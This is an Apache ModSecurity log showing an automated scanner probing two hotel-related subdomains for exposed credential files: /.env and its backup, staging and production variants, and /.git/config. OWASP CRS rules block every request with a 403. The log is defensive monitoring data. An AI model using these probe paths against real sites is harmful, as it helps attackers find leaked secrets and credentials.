[Sun Oct 25 18:01:05.050361 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at58IRFm2vH00tQABbbuqAAAAAg"]
[Sun Oct 25 18:01:05.050689 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at58IRFm2vH00tQABbbuqAAAAAg"]
[Sun Oct 25 18:01:05.174638 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at58IRFm2vH00tQABbbuqQAAAAg"]
[Sun Oct 25 18:01:05.174858 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at58IRFm2vH00tQABbbuqQAAAAg"]
[Sun Oct 25 18:01:05.175158 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at58IRFm2vH00tQABbbuqQAAAAg"]
[Sun Oct 25 18:01:05.299090 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at58IRFm2vH00tQABbbuqgAAAAg"]
[Sun Oct 25 18:01:05.299362 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at58IRFm2vH00tQABbbuqgAAAAg"]
[Sun Oct 25 18:01:05.299662 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at58IRFm2vH00tQABbbuqgAAAAg"]
[Sun Oct 25 18:01:05.364543 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at58IRVtY6H0wJd2uaILTQAAADA"]
[Sun Oct 25 18:01:05.364793 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at58IRVtY6H0wJd2uaILTQAAADA"]
[Sun Oct 25 18:01:05.365157 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at58IRVtY6H0wJd2uaILTQAAADA"]
[Sun Oct 25 18:01:05.423500 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at58IRFm2vH00tQABbbuqwAAAAg"]
[Sun Oct 25 18:01:05.423743 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at58IRFm2vH00tQABbbuqwAAAAg"]
[Sun Oct 25 18:01:05.424007 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at58IRFm2vH00tQABbbuqwAAAAg"]
[Sun Oct 25 18:01:05.547845 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at58IRFm2vH00tQABbburAAAAAg"]
[Sun Oct 25 18:01:05.548088 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at58IRFm2vH00tQABbburAAAAAg"]
[Sun Oct 25 18:01:05.548404 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at58IRFm2vH00tQABbburAAAAAg"]
[Sun Oct 25 18:01:05.613149 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at58IRVtY6H0wJd2uaILTwAAADA"]
[Sun Oct 25 18:01:05.613385 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at58IRVtY6H0wJd2uaILTwAAADA"]
[Sun Oct 25 18:01:05.613664 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at58IRVtY6H0wJd2uaILTwAAADA"]
[Sun Oct 25 18:01:05.672591 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at58IRFm2vH00tQABbburQAAAAg"]
[Sun Oct 25 18:01:05.672833 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at58IRFm2vH00tQABbburQAAAAg"]
[Sun Oct 25 18:01:05.673152 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at58IRFm2vH00tQABbburQAAAAg"]
[Sun Oct 25 18:01:05.736826 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at58IRVtY6H0wJd2uaILUAAAADA"]
[Sun Oct 25 18:01:05.737085 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at58IRVtY6H0wJd2uaILUAAAADA"]
[Sun Oct 25 18:01:05.737341 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at58IRVtY6H0wJd2uaILUAAAADA"]
[Sun Oct 25 18:01:05.797066 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at58IRFm2vH00tQABbburgAAAAg"]
[Sun Oct 25 18:01:05.797319 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at58IRFm2vH00tQABbburgAAAAg"]
[Sun Oct 25 18:01:05.797597 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at58IRFm2vH00tQABbburgAAAAg"]
[Sun Oct 25 18:01:05.870293 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at58IRVtY6H0wJd2uaILUQAAADA"]
[Sun Oct 25 18:01:05.870739 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at58IRVtY6H0wJd2uaILUQAAADA"]
[Sun Oct 25 18:01:05.871177 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at58IRVtY6H0wJd2uaILUQAAADA"]
[Sun Oct 25 18:01:05.921536 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at58IRFm2vH00tQABbburwAAAAg"]
[Sun Oct 25 18:01:05.921798 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at58IRFm2vH00tQABbburwAAAAg"]
[Sun Oct 25 18:01:05.922141 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at58IRFm2vH00tQABbburwAAAAg"]
[Sun Oct 25 18:01:05.994980 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at58IRVtY6H0wJd2uaILUgAAADA"]
[Sun Oct 25 18:01:05.995340 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at58IRVtY6H0wJd2uaILUgAAADA"]
[Sun Oct 25 18:01:05.995848 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at58IRVtY6H0wJd2uaILUgAAADA"]
[Sun Oct 25 18:01:06.046813 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at58IhFm2vH00tQABbbusAAAAAg"]
